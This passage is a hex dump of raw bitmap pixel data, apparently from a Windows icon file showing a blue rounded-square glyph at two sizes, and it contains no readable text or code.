FFFFFEFFFFFFFDFFD7E6FCFF3985F7FF1A72F3FF2173EEFF2070E7FF1E6CDEFF 1D66D3FF175CC4FF3269BAF04273BAF01559C0FF1C64D0FF1E6ADCFF1F6FE5FF 2072EDFF1E73F2FF2579F6FFCCDFFBFFFFFFFDFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FFFFFEFFD8E7FEFF2E80FBFF1B75FAFF2078FAFFBED7FDFFFFFFFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFDFDFDFFFFFFFCFFC6DBFAFF2478F3FF1E72EEFF2070E7FF1E6CDEFF 1D66D3FF175CC4FF3268BAF04273BAF01559C1FF1C65D0FF1E6ADCFF1F6FE5FF 2072EDFF166EF2FF80B0F7FFFFFFFCFFFEFEFDFFFEFEFEFFFEFEFEFFFEFEFEFF FFFEFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFF FFFFFEFFFFFFFFFF93BDFEFF0B6BFAFF74ABFCFFFFFFFFFFFFFFFEFFFEFEFEFF FEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFEFEFEFFFEFEFEFF FEFEFEFFFDFDFDFFFDFDFCFFFFFFFBFF7EAEF5FF166DEEFF2070E7FF1E6CDEFF 1D66D3FF175DC4FF3268BAF04172BAF0155AC1FF1D65D0FF1E6ADCFF1F6FE5FF 1E71EDFF2577F2FFD4E4F9FFFFFFFCFFFDFDFDFFFEFEFEFFFEFEFEFFFFFFFEFF FFFFFEFFD1E3FDFF9FC4FCFFBBD5FDFFFDFDFEFFFFFFFEFFFEFEFEFFFFFFFFFF FFFFFFFFFFFFFFFFE7F0FFFF3686FCFFCDE1FFFFFFFFFFFFFFFFFFFFFEFEFEFF FEFEFEFFFFFFFEFFFFFFFEFFD9E8FDFFBED8FDFFE6EFFEFFFFFFFEFFFEFEFEFF FEFEFEFFFDFDFDFFFCFCFDFFFFFFFBFFD6E3F7FF2677EEFF1D6FE7FF1E6CDEFF 1D66D3FF175DC4FF3168BAF04172BAF0155AC1FF1D65D0FF1E6ADCFF1F6FE5FF 196EEDFF498DF3FFF7F8FAFFFEFEFCFFFDFDFDFFFEFEFEFFFFFFFEFFFFFFFEFF A7CAFDFF2379FBFF1572FAFF1974FAFF6EA7FCFFF7FAFEFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFAECEFEFFEFF5FFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFEFFFEFFFEFF91BCFCFF257BFBFF1D76FAFF3081FBFFB5D2FDFFFFFFFEFF FFFFFEFFFDFDFDFFFDFDFDFFFEFCFBFFF7F8F7FF4F8FEFFF186CE7FF1E6CDEFF 1D66D3FF175DC4FF3168BAF04172BAF0155AC1FF1D65D0FF1E6ADCFF1F6FE5FF 156DECFF679FF4FFFEFCFAFFFDFCFCFFFDFDFDFFFEFEFEFFFFFFFEFFE9F1FEFF 3082FAFF1974FAFF2279FAFF2077FAFF1471FAFFAECEFEFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFF8FBFFFFFCFDFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFFC2DAFEFF1C75FAFF1C76FAFF2078FAFF1973FAFF2E80FAFFD9E7FDFF FFFFFEFFFEFEFEFFFDFDFDFFFBFBFBFFFEFCF7FF72A4EFFF1469E7FF1E6CDEFF 1D66D3FF175DC4FF3168BAF04172BAF0155AC1FF1D65D1FF1E6BDCFF1F6FE5FF 146BECFF73A7F4FFFFFEFAFFFDFDFCFFFDFDFDFFFEFEFEFFFFFFFEFFC3DAFDFF 2078FAFF2078FAFF2279FAFF2279FAFF126FFAFF87B6FDFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFF91BCFDFF1270FAFF2279FAFF2279FAFF2279FAFF116FFAFF90BCFCFF FFFFFEFFFEFEFEFFFCFCFCFFFBFBFBFFFFFEF7FF7FADF0FF1268E7FF1E6CDEFF 1D66D3FF175DC4FF3168BAF04172BAF0155AC1FF1D64D1FF1E6BDCFF1F6FE6FF 156CEDFF6DA3F4FFFFFEFAFFFEFDFCFFFDFDFDFFFEFEFEFFFFFFFEFFD1E2FDFF 257BFAFF2078FAFF2279FAFF2279FBFF1773FBFF6BA6FDFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFF90BCFDFF1270FBFF2279FAFF2279FAFF2279FAFF1370FAFF8FBBFCFF FFFFFEFFFEFEFEFFFCFCFCFFFBFBFBFFFFFDF7FF78A8F0FF1369E7FF1E6CDEFF 1D66D3FF175DC4FF3168BAF04172BAF0155AC1FF1D64D1FF1E6BDCFF1F6FE6FF 166CEDFF639DF4FFFDFCFAFFFEFDFCFFFEFEFEFFFEFEFEFFFFFFFEFFEBF3FEFF 2E80FAFF1F77FAFF2279FBFF2279FBFF1E77FBFF3483FCFFEBF3FFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFF95BEFDFF1170FBFF2279FBFF2279FAFF2279FAFF1370FAFF90BCFCFF FFFFFEFFFEFEFEFFFCFCFCFFFDFBFBFFFBFAF7FF619AF0FF166AE7FF1E6CDFFF 1D66D3FF175DC4FF3168BAF04172BAF0155AC1FF1D64D1FF1E6BDCFF1F6FE5FF 196EEDFF488CF3FFF6F8FAFFFFFEFCFFFEFEFEFFFEFEFEFFFFFFFEFFFCFDFEFF 5497FBFF1873FAFF2279FBFF2279FBFF2279FBFF1B75FBFF5598FCFFB7D3FEFF CDE1FEFFCEE1FEFFCDE1FEFFCDE1FEFFCDE1FEFFCDE1FEFFCDE1FEFFCDE1FEFF CEE1FEFF78ADFDFF1672FBFF2279FBFF2279FAFF2279FAFF126FFAFF8DBAFCFF FFFFFEFFFEFEFEFFFCFCFCFFFFFDFBFFEBF1F7FF3881EFFF1B6DE7FF1E6CDFFF 1D66D4FF175DC4FF3168BAF04172BAF0155AC1FF1D64D1FF1E6BDCFF1F6FE5FF 1D71EDFF2A7AF3FFDFEAFAFFFFFFFCFFFEFEFEFFFEFEFEFFFFFEFEFFFFFFFEFF A5C8FDFF1672FAFF2279FBFF2279FBFF2279FBFF2279FBFF1A74FBFF1E77FBFF 257BFBFF257BFBFF257BFBFF257BFBFF257BFBFF257BFBFF257BFBFF257BFBFF 257BFBFF237AFBFF2279FBFF2279FBFF2279FBFF2178FAFF1471FAFFA7CAFDFF FFFFFEFFFEFEFEFFFDFCFCFFFFFFFBFFAAC8F7FF196EEEFF1F70E7FF1E6CDFFF 1C66D4FF175DC5FF3168BAF04172BAF0155AC1FF1D64D1FF1E6BDCFF1F6FE5FF 2072EDFF1970F2FFA8C9F9FFFFFFFCFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFF F6FAFEFF4F94FBFF1772FBFF2279FBFF2279FBFF2279FBFF2279FBFF2078FBFF 2078FBFF2078FBFF2078FBFF2078FBFF2078FBFF2078FBFF2078FBFF2078FBFF 2078FBFF2178FBFF2279FBFF2279FBFF2179FBFF1471FAFF5E9EFCFFF6FAFEFF FFFFFEFFFEFEFEFFFFFFFDFFF0F4FAFF458BF4FF196FEFFF2070E7FF1E6CDFFF 1C66D4FF175DC5FF3168BAF04172BAF0155AC1FF1D64D1FF1E6BDCFF1F6FE5FF 2072EDFF176FF2FF5A99F7FFF9FBFCFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFF FFFFFEFFD4E5FEFF3081FCFF1874FBFF2279FBFF2279FBFF2279FBFF2279FBFF 2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF 2279FBFF2279FBFF2279FBFF2178FBFF2179FBFF8DBAFCFFF2F7FEFFFFFFFEFF FEFEFEFFFEFEFEFFFFFFFDFFEFF4FAFF3F87F4FF1A6FEFFF2070E7FF1E6CDFFF 1C66D4FF175DC5FF3168BAF04172BAF0155AC1FF1D64D1FF1E6BDCFF1F6FE5FF 2072EDFF1E73F3FF2679F6FFDFEAFCFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFFFFFEFFCADFFFFF3A88FCFF1370FBFF1E77FBFF2178FBFF2279FBFF 2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF2279FBFF 2279FBFF2279FBFF2279FBFF2279FBFF1B75FAFF87B7FDFFFFFFFEFFFEFEFEFF FEFEFEFFFEFEFEFFFDFCFCFFFFFFFBFF8DB7F6FF156DEEFF2070E7FF1E6CDFFF 1D66D4FF175DC5FF3168BAF04172BAF0155AC1FF1D64D1FF1E6BDCFF1F6FE5FF 2072EDFF176FF2FF6BA4F7FFFAFCFCFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FFFFFEFFFFFFFEFFFFFFFFFFEFF5FFFF83B4FDFF3383FCFF1974FBFF1370FBFF 1571FBFF1571FBFF1571FBFF1571FBFF1571FBFF1571FBFF1571FBFF1873FBFF 1F77FBFF2279FBFF2279FBFF2279FBFF2078FAFF1E77FAFFC4DBFEFFFFFFFEFF FEFEFEFFFEFEFEFFFCFCFCFFFFFFFBFFCDDDF7FF2375EFFF1E6FE7FF1E6CDFFF 1D66D4FF175DC4FF3168BAF04172BAF0155AC1FF1D64D1FF1E6BDCFF1F6FE6FF 1E72EDFF2175F2FFC9DCF9FFFFFFFCFFFDFDFDFFFEFEFEFFFEFEFEFFFFFFFEFF FFFFFEFFD8E7FDFFB4D2FDFFBAD5FDFFB7D3FEFFB9D4FEFFAACCFEFF89B7FDFF 78ADFDFF78ADFDFF78ADFDFF78ADFDFF78ADFDFF79ADFDFF79AEFDFF63A1FDFF 277CFCFF1E77FBFF2279FBFF2279FAFF2279FAFF1571FAFF6AA5FCFFFFFFFEFF FFFFFEFFFEFEFEFFFCFCFCFFFEFDFBFFF0F3F7FF3C84EFFF1A6DE7FF1E6CDFFF 1D66D3FF175DC4FF3168BAF04172BAF0155AC1FF1D65D1FF1E6BDCFF1F6FE5FF 1A6FEDFF4389F3FFF4F6FAFFFFFEFCFFFDFDFDFFFEFEFEFFFFFFFEFFFFFFFEFF 98C0FDFF237AFAFF1C76FAFF1D76FAFF106EFAFF88B7FDFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF C2DAFEFF2A7EFBFF1F77FBFF2279FAFF2279FAFF1E77FAFF3182FAFFE7F0FEFF FFFFFEFFFEFEFEFFFCFCFCFFFCFBFBFFFAF9F7FF5F99EFFF166AE7FF1E6CDEFF 1D66D3FF175DC4FF3168BAF04071BAF0155AC1FF1D65D0FF1E6ADCFF1F6FE5FF 166CECFF649DF4FFFDFCFAFFFDFDFCFFFDFDFDFFFEFEFEFFFFFFFEFFEBF3FEFF 2E80FAFF1A74FAFF2178FAFF2178FAFF126FFAFF84B4FDFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFF70A8FCFF1772FAFF2279FAFF2279FAFF2279FAFF1973FAFFA7CAFDFF FFFFFEFFFEFEFEFFFDFDFDFFFBFBFBFFFFFCF7FF74A5EFFF1369E7FF1E6CDEFF 1D66D3FF175DC4FF3168BAF04172BAF0155AC1FF1D65D0FF1E6ADCFF1F6FE5FF 146BECFF70A4F4FFFFFDFAFFFDFCFCFFFDFDFDFFFEFEFEFFFFFFFEFFC9DEFDFF 2279FAFF2078FAFF2279FAFF2279FAFF1370FAFF82B4FCFFFFFFFFFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFFFF8DBAFCFF136FFAFF2279FAFF2279FAFF2279FAFF116FFAFF8BB9FCFF FFFFFEFFFDFDFDFFFDFDFDFFFBFBFBFFFFFEF7FF7EACF0FF1268E7FF1E6CDEFF 1D66D3FF175DC4FF3168BAF04172BAF0155AC1FF1D65D0FF1E6ADCFF1F6FE5FF 156BECFF6CA3F4FFFFFDFAFFFDFCFCFFFDFDFDFFFEFEFEFFFFFFFEFFD6E6FDFF 2379FAFF1E77FAFF2279FAFF2279FAFF126FFAFF9BC3FDFFFFFFFEFFFFFFFFFF FFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFFEFFFFFFFFFFFFFFFFFFFFFFFFFFFFFF FFFFFEFF9AC2FCFF1270FAFF2279FAFF2279FAFF2178FAFF1672FAFFAACCFDFF FFFFFEFFFDFDFDFFFDFDFDFFFBFBFBFFFFFEF7FF7DABF0FF1268E7FF1E6CDEFF 1D66D3FF175DC4FF3168BAF04172BAF0155AC1FF1D65D0FF1E6ADCFF1F6FE5FF 186DEDFF5494F3FFFAFAFAFFFEFDFCFFFDFDFDFFFEFEFEFFFFFFFEFFFEFEFEFF 7AAEFCFF126FFAFF1571FAFF116FFAFF468EFBFFE8F1FEFFFFFFFEFFFEFEFEFF FFFFFFFFFFFFFFFFFFFFFFFFD6E6FFFFF5F9FFFFFFFFFFFFFEFEFEFFFEFEFEFF FFFFFEFFDFECFDFF3585FBFF1370FAFF1B75FAFF0F6EFAFF5D9CFCFFF8FBFEFF FFFFFEFFFDFDFDFFFCFCFCFFFCFBFAFFFDFBF7FF699FEFFF156AE7FF1E6CDEFF 1D66D3FF175DC4FF3168BAF04172BAF0155AC1FF1C65D0FF1E6ADCFF1F6FE5FF 1C70EDFF2F7DF2FFE5EDF9FFFFFFFCFFFDFDFDFFFEFEFEFFFEFEFEFFFFFFFEFF FAFCFEFFA2C6FDFF6BA6FCFF87B6FCFFE4EEFEFFFFFFFEFFFEFEFEFFFEFEFEFF FEFEFEFFFFFFFEFFF3F7FEFF5E9DFBFFE8F1FEFFFFFFFEFFFEFEFEFFFEFEFEFF FEFEFEFFFFFFFEFFD0E3FDFF65A2FCFF468FFBFF77ACFCFFE8F1FEFFFFFFFEFF FEFEFEFFFDFDFDFFFCFCFCFFFEFDFAFFF0F3F7FF3E85EEFF1A6DE7FF1E6CDEFF 1D66D3FF175DC4FF3168BAF04172BAF01559C0FF1C64D0FF1E6ADCFF1F6FE5FF 2072EDFF186FF2FF9EC2F8FFFFFFFCFFFEFDFDFFFEFEFEFFFEFEFEFFFEFEFEFF FFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFF FEFEFEFFFFFFFEFFAECEFDFF116FFAFFB1CFFDFFFFFFFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFFF8FBFEFFFFFFFEFFFFFFFEFFFEFEFEFF FEFEFEFFFDFDFDFFFCFCFCFFFFFFFAFFBAD2F6FF1C71EEFF1E70E7FF1E6CDEFF 1D66D3FF175DC4FF3168BAF04272BAF01559C0FF1C64D0FF1E6ADCFF1F6FE5FF 2072EDFF1B71F2FF3C86F6FFEBF1FCFFFFFFFDFFFDFDFEFFFEFEFEFFFEFEFEFF FEFEFEFFFEFEFEFFFFFFFEFFFFFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FFFFFEFFF3F8FEFF478FFBFF116FFAFF4E93FBFFF8FBFEFFFFFFFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFFFFFFFEFFFFFFFEFFFEFEFEFFFEFEFEFF FEFEFEFFFDFDFDFFFFFEFCFFF8F9FAFF5494F4FF186DEEFF2070E7FF1E6BDEFF 1D66D3FF175CC4FF3268BAF04272BAF01559C0FF1C64D0FF1E6ADBFF1F6FE4FF 2072ECFF2175F2FF1670F5FF67A1F9FFFBFCFDFFFFFFFDFFFDFDFEFFFEFEFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFFFFFEFF FFFFFEFF74ABFCFF1773FAFF2279FAFF1772FAFF87B6FCFFFFFFFEFFFFFFFEFF FEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFFFEFEFEFF FDFDFDFFFFFFFDFFFFFFFCFF89B6F8FF176FF2FF2073EEFF2070E6FF1E6BDEFF 1D66D3FF175CC3FF3268BAF04272BAF01558BFFF1C63CFFF1E6ADBFF1F6FE4FF 2072EBFF2175F0FF2076F5FF1771F6FF6EA6FAFFF0F6FDFFFFFFFDFFFFFFFDFF FDFDFDFFFDFDFDFFFEFEFEFFFEFEFEFFFDFDFEFFFFFFFEFFFFFFFEFFF4F8FEFF 77ACFCFF1973FAFF2179FAFF2279FAFF2078FAFF1B75FAFF92BDFCFFFFFFFEFF FFFFFEFFFEFEFEFFFEFEFEFFFEFEFEFFFDFDFDFFFDFDFDFFFDFDFDFFFDFDFDFF FFFFFDFFFFFFFDFF91BBF9FF1B73F5FF1F74F2FF2073EDFF1F6FE6FF1E6BDDFF 1D65D2FF175CC3FF3268B9F04272B9F01458BEFF1C63CEFF1E69DAFF1F6EE3FF 2071EBFF2174F0FF2176F3FF2076F6FF1671F7FF498FF8FFB7D2FBFFF8FAFCFF FFFFFDFFFFFFFDFFFFFFFDFFFFFFFDFFFFFFFDFFFFFFFDFFBCD6FCFF4E93FAFF 1771F9FF2177F9FF2278F9FF2278F9FF2278F9FF1F77F9FF1A73F9FF6AA4FAFF DCE9FCFFFFFFFDFFFFFFFDFFFFFFFCFFFFFEFDFFFFFFFDFFFFFFFDFFFFFFFDFF DCE9FBFF6BA4F9FF1972F6FF1E74F4FF2175F1FF2072ECFF1F6FE4FF1E6ADCFF 1D64D1FF175BC2FF3268B8F04372B8F01357BCFF1C63CCFF1D68D9FF1F6DE1FF 2071E9FF2173EEFF2174F2FF2176F5FF2177F6FF1972F6FF1B73F6FF4C90F8FF A1C5FAFFC5DAFAFFD4E3FAFFCBDEFAFFB0CEFAFF65A1F8FF1C74F7FF1872F7FF 2178F8FF2278F8FF2278F8FF2278F8FF2278F8FF2278F8FF2077F7FF1570F7FF 3181F8FF96BEFAFFD3E3FAFFECF2FBFFF1F5FBFFEAF0FBFFC9DDFAFF96BEF9FF 3281F7FF1570F5FF2075F4FF2175F3FF2174EFFF2071EAFF1F6EE3FF1E6ADBFF 1C63CFFF175AC0FF3268B7F04473B7F01356BAFF1C61CAFF1D67D6FF1E6CDFFF 2070E6FF2072ECFF2174F0FF2175F2FF2176F3FF2176F4FF2075F5FF1972F5FF 1770F5FF2277F5FF267AF5FF2478F5FF1B73F5FF1770F5FF1F76F5FF2177F5FF 2176F5FF2176F5FF2176F5FF2176F5FF2176F5FF2176F5FF2177F5FF2177F5FF 1C73F5FF1871F5FF2679F5FF2E7FF5FF3582F5FF2D7EF5FF2277F5FF1770F4FF 1C73F4FF2176F4FF2175F2FF2174F0FF2072EDFF1F71E8FF1F6DE1FF1D68D8FF 1C63CDFF165ABEFF3368B6F04975B7F01354B6FF1B60C6FF1D65D2FF1E6ADBFF 1F6EE2FF2071E8FF2072EBFF2072EEFF1F73EFFF1E72F0FF1E73F0FF1D72F0FF 1C71F0FF1B70F0FF1A70F0FF1A70F0FF1B71F0FF1C72F0FF1D72F0FF1C72F0FF 1C72F0FF1C72F0FF1C72F0FF1C72F0FF1C72F0FF1C72F0FF1C72F0FF1C72F0FF 1D72F0FF1C71F0FF1A70F0FF196FF0FF186FF0FF1970F0FF1B71F0FF1D72F0FF 1F73F0FF1F73EFFF2073EFFF2072ECFF2071E9FF1F6EE4FF1E6BDDFF1D66D4FF 1C61C9FF1557BAFF3669B4F1587FB8F81050B0FF1B5EC1FF1C63CDFF1D67D6FF 1E6BDDFF1F6EE2FF1D6DE5FF1B6DE7FF2071E9FF2A78ECFF317CEEFF3680EEFF 3982EEFF3B83EFFF3C84EFFF3C84EFFF3D84EFFF3D85EFFF3D85EFFF3D85EFFF 3D84EFFF3D84EFFF3D84EFFF3D84EFFF3D84EFFF3D84EFFF3D85EFFF3D85EFFF 3D85EFFF3D84EFFF3C84EFFF3C84EFFF3B83EFFF3982EEFF3680EEFF327DEEFF 2C79ECFF2273EAFF1C6DE7FF1C6DE5FF1F6EE2FF1F6CDEFF1E68D7FF1C64CFFF 1A5EC4FF1455B5FF3B6BB2ED4C75B2B8104EAAFF195ABAFF1B5FC5FF1C64CEFF 1C67D5FF1966D9FF2871E0FF4D8CEBFF6AA0F2FF79ABF5FF80AEF6FF82B1F6FF 84B2F6FF84B2F6FF84B2F6FF84B2F6FF85B2F6FF85B2F6FF85B2F6FF85B2F6FF 85B2F6FF85B2F6FF85B2F6FF85B2F6FF85B2F6FF85B2F6FF85B2F6FF85B2F6FF 85B2F6FF85B2F6FF84B2F6FF84B2F6FF84B2F6FF84B2F6FF83B1F6FF80AFF6FF 7BACF5FF6FA3F2FF5592ECFF2F77E2FF1A67DAFF1C66D6FF1D65CFFF1B60C7FF 1A5CBCFF1654AFFF2258A8BB3062AC7C1650A5FF1856B2FF195BBCFF1A5EC4FF 1B62CBFF3F7EDCFF76A6EFFF89B5F5FF8AB4F5FF88B3F5FF87B3F5FF87B3F5FF 87B3F5FF87B3F5FF87B3F5FF87B3F5FF87B3F5FF87B3F5FF87B3F5FF87B3F5FF 87B3F5FF87B3F5FF87B3F5FF87B3F5FF87B3F5FF87B3F5FF87B3F5FF87B3F5FF 87B3F5FF87B3F5FF87B3F5FF87B3F5FF87B3F5FF87B3F5FF87B3F5FF87B3F5FF 87B3F5FF89B4F5FF8BB5F5FF7EACF2FF4D88E1FF1F65CEFF1A5FC5FF1A5CBEFF 1957B4FF134EA6FF2F61ABBB5D83BB68134B9CFF1751A7FF1856B1FF1858B8FF 3B76CEFF7BA8EBFF86B1F1FF82AEF0FF81AEF1FF81ADF0FF80ADF0FF7FADF0FF 7FACF0FF7EACF0FF7EABF0FF7EABEFFF7EABEFFF7EABEFFF7EABEFFF7EABEFFF 7EABEFFF7EABEFFF7EABEFFF7EABEFFF7EABEFFF7EABEFFF7EABEFFF7EABEFFF 7EABEFFF7EABEFFF7EABEFFF7EABEFFF7EABF0FF7FACF0FF7FADF0FF80ADF0FF 80ADF0FF81AEF0FF82AEF1FF85B0F1FF82ADEFFF4A82D5FF1A5BBAFF1856B2FF 1853A9FF0D469CFF597EB6A3A4B8D6272A5AA0FB0E4698FF1550A4FF1753ACFF 225EB6FF2E68BFFF316BC3FF306BC5FF2E6BC5FF2B69C5FF2967C4FF2766C3FF 2666C3FF2565C3FF2564C3FF2464C2FF2464C2FF2464C2FF2464C2FF2464C2FF 2464C2FF2464C2FF2464C2FF2464C3FF2464C3FF2464C3FF2464C3FF2464C3FF 2464C3FF2464C3FF2464C2FF2464C3FF2565C3FF2665C3FF2766C3FF2967C4FF 2B68C4FF2D6AC5FF2F6BC5FF306CC4FF2E69C1FF2560B8FF1855AEFF1750A6FF 11489CFF174B99FFA2B5D250C8D3E4007495C56522549DF5134998FF154C9EFF 0C479FFF0A46A0FF0D49A4FF0E4BA6FF0F4DA8FF104DA9FF104EAAFF104EAAFF 104EAAFF114EAAFF114EAAFF114FABFF114FACFF114FACFF114FACFF114FACFF 114FACFF114FACFF114FACFF114FABFF114FABFF114FABFF114FABFF114FABFF 114FABFF114FABFF114FABFF114EAAFF114EAAFF104EAAFF104EAAFF104EAAFF 104DA9FF0F4DA9FF0E4BA6FF0D4AA5FF0B47A1FF09459EFF144C9EFF124898FF 1A4D99FF6085BC8BB0C2DD00C1CEE0008AA6D10084A2CF2B6A8DC170295CA880 5279B3D0587FBAF04471B4F03D6CB2F0396AB2F03768B2F03768B1F03667B1F0 3567B1F03567B1F03567B1F03466B1F03466B1F03466B1F03466B1F03466B1F0 3466B1F03466B1F03466B1F03466B1F03466B1F03466B1F03466B1F03466B1F0 3466B1F03466B1F03466B1F03566B1F03567B1F03567B1F03567B1F03667B1F0 3768B1F03969B1F03C6BB2F04270B4F0527BB8F06487BCE92659A5863F6DAF78 7092C64B88A5D000A7BCDA00C000000000030000800000000001000080000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000000000000000000000000000 0000000000000000000000000000000000000000800000000000000080000000 00010000E0000000000700002800000020000000400000000100200000000000 801000000000000000000000000000000000000097A7BD026485B4703165B4B7 2965BDCC2D69C1ED2E6AC5F02E6CC8F02D6CC9F02D6CCAF02D6CCAF02D6CCAF0 2D6CCAF02D6CCAF02D6CCAF02D6CCAF02D6CCAF02D6CCAF02D6CCAF02D6CCAF0 2D6CCAF02D6CCAF02D6CCAF02D6CCAF02D6CCAF02D6CC9F02E6CC8F02E6BC6F0 2E69C2EF2B66BDD22F65B5BD6282B382AEB4BE0D6586B7591956B1FF155AC1FF 1962CDFF1A65D5FF1B68D9FF1B69DCFF1B69DDFF1B6ADEFF1B6ADEFF1B6ADEFF 1B6ADEFF1B6ADEFF1B6ADEFF1B6ADEFF1B6ADEFF1B6ADEFF1B6ADEFF1B6ADEFF 1B6ADEFF1B6ADEFF1B6ADEFF1B6ADEFF1B6ADEFF1B6ADEFF1B69DCFF1B68DAFF 1B65D6FF1962CFFF165BC3FF1253B2FF6686B77D4371B5AC1255BAFF1C63CEFF 1D69DAFF1F6DE2FF1F6FE6FF2070E9FF2071EAFF2071EAFF2071EBFF2071EBFF 2071EBFF2071EBFF2071EBFF2071EBFF2071EBFF2071EBFF2071EBFF2071EBFF 2071EBFF2071EBFF2071EBFF2071EBFF2071EAFF2071EAFF2070E9FF1F70E7FF 1F6EE3FF1D6ADBFF1D64D0FF1458BDFF3366B3C03467B4D6165BC3FF1D67D6FF 1F6DE2FF2072EBFF2173EFFF2175F2FF2175F2FF2175F3FF2175F3FF2175F3FF 2175F3FF2175F3FF2175F3FF2175F3FF2175F3FF2175F3FF2175F3FF2175F3FF 2175F3FF2175F3FF2175F3FF2175F3FF2175F3FF2175F2FF2174F2FF2173F0FF 2072EBFF1F6EE4FF1E68D8FF185EC6FF2860B5D4376BB9F4175DC7FF1E69DAFF 1F70E7FF2173EFFF2176F3FF2177F6FF2077F7FF1C74F7FF1771F7FF1570F7FF 1872F7FF1E75F7FF2278F7FF2278F7FF2278F8FF2278F8FF2278F8FF2278F7FF 2177F7FF1D75F7FF1872F7FF1771F7FF1A73F7FF1E76F7FF2177F6FF2176F4FF 2174F0FF1F70E8FF1E6ADCFF1860CBFF2F66BAEF3067B9F0185FCAFF1E6ADDFF 2071E9FF2175F2FF2177F6FF1D75F8FF1972F8FF3785FAFF609EFAFF70A8FBFF 5D9CFAFF3081FAFF1772FAFF2178FAFF2279FAFF2279FAFF2279FAFF1F77FAFF 1872FAFF3483FAFF599AFAFF609EFAFF4B91FAFF267AF9FF1872F8FF2076F7FF 2175F3FF2071EBFF1F6CDFFF1961CDFF2C65BBF02F66BAF01860CBFF1E6BDEFF 2071EAFF2175F3FF1B73F7FF277BF9FF93BDFCFFEDF4FEFFFFFFFEFFFFFFFEFF FFFFFEFFDFECFDFF6DA6FCFF1B75FAFF1F77FAFF237AFAFF1D76FAFF2279FAFF 83B4FCFFE8F0FEFFFEFEFEFFFFFFFEFFF9FBFEFFD1E2FDFF5F9DFAFF1972F7FF 1F74F3FF2072ECFF1F6CE0FF1A62CFFF2A65BBF02E66BAF01860CBFF1E6BDEFF 2071EBFF1C72F3FF2D7EF7FFC4DAFCFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFF FFFFFEFFFFFFFEFFFFFFFEFF95BEFCFF1C75FAFF1C76FAFF287CFAFFB8D3FDFF FFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFFFFFEFFFDFEFDFF86B4FAFF 1971F3FF1F71ECFF1F6CE0FF1A62CFFF2A65BCF02E67BBF01860CBFF1E6BDEFF 1F71EBFF1B71F3FFACCBF9FFFFFFFDFFFFFEFEFFFEFEFEFFFFFFFEFFFFFFFEFF FFFFFEFFFEFEFEFFFFFFFEFFFFFFFEFF74ABFBFF106EFAFFA3C7FCFFFFFFFEFF FFFFFEFFFEFEFEFFFFFFFEFFFFFFFEFFFFFFFEFFFEFEFEFFFFFFFDFFFFFEFCFF 67A0F5FF166CECFF1F6CE0FF1A62CFFF2A64BCF02E67BBF01960CBFF1E6BDEFF 186CEBFF4F91F3FFFBFBFBFFFFFFFDFFFEFEFEFFFFFFFEFFE5EFFDFFBDD6FDFF EEF4FEFFFFFFFEFFFEFEFEFFFFFFFFFFD8E8FEFF5597FBFFF9FBFFFFFFFFFFFF FEFEFEFFFFFFFEFFE9F1FDFFD5E5FDFFFEFEFEFFFFFFFEFFFDFDFEFFFFFFFCFF D1E0F7FF2474EDFF1C6BE0FF1A62CFFF2A64BCF02D66BBF01960CBFF1E6BDEFF 1168EBFF86B2F5FFFFFFFBFFFEFDFDFFFFFFFEFFDCEAFDFF3D89FBFF1772FAFF 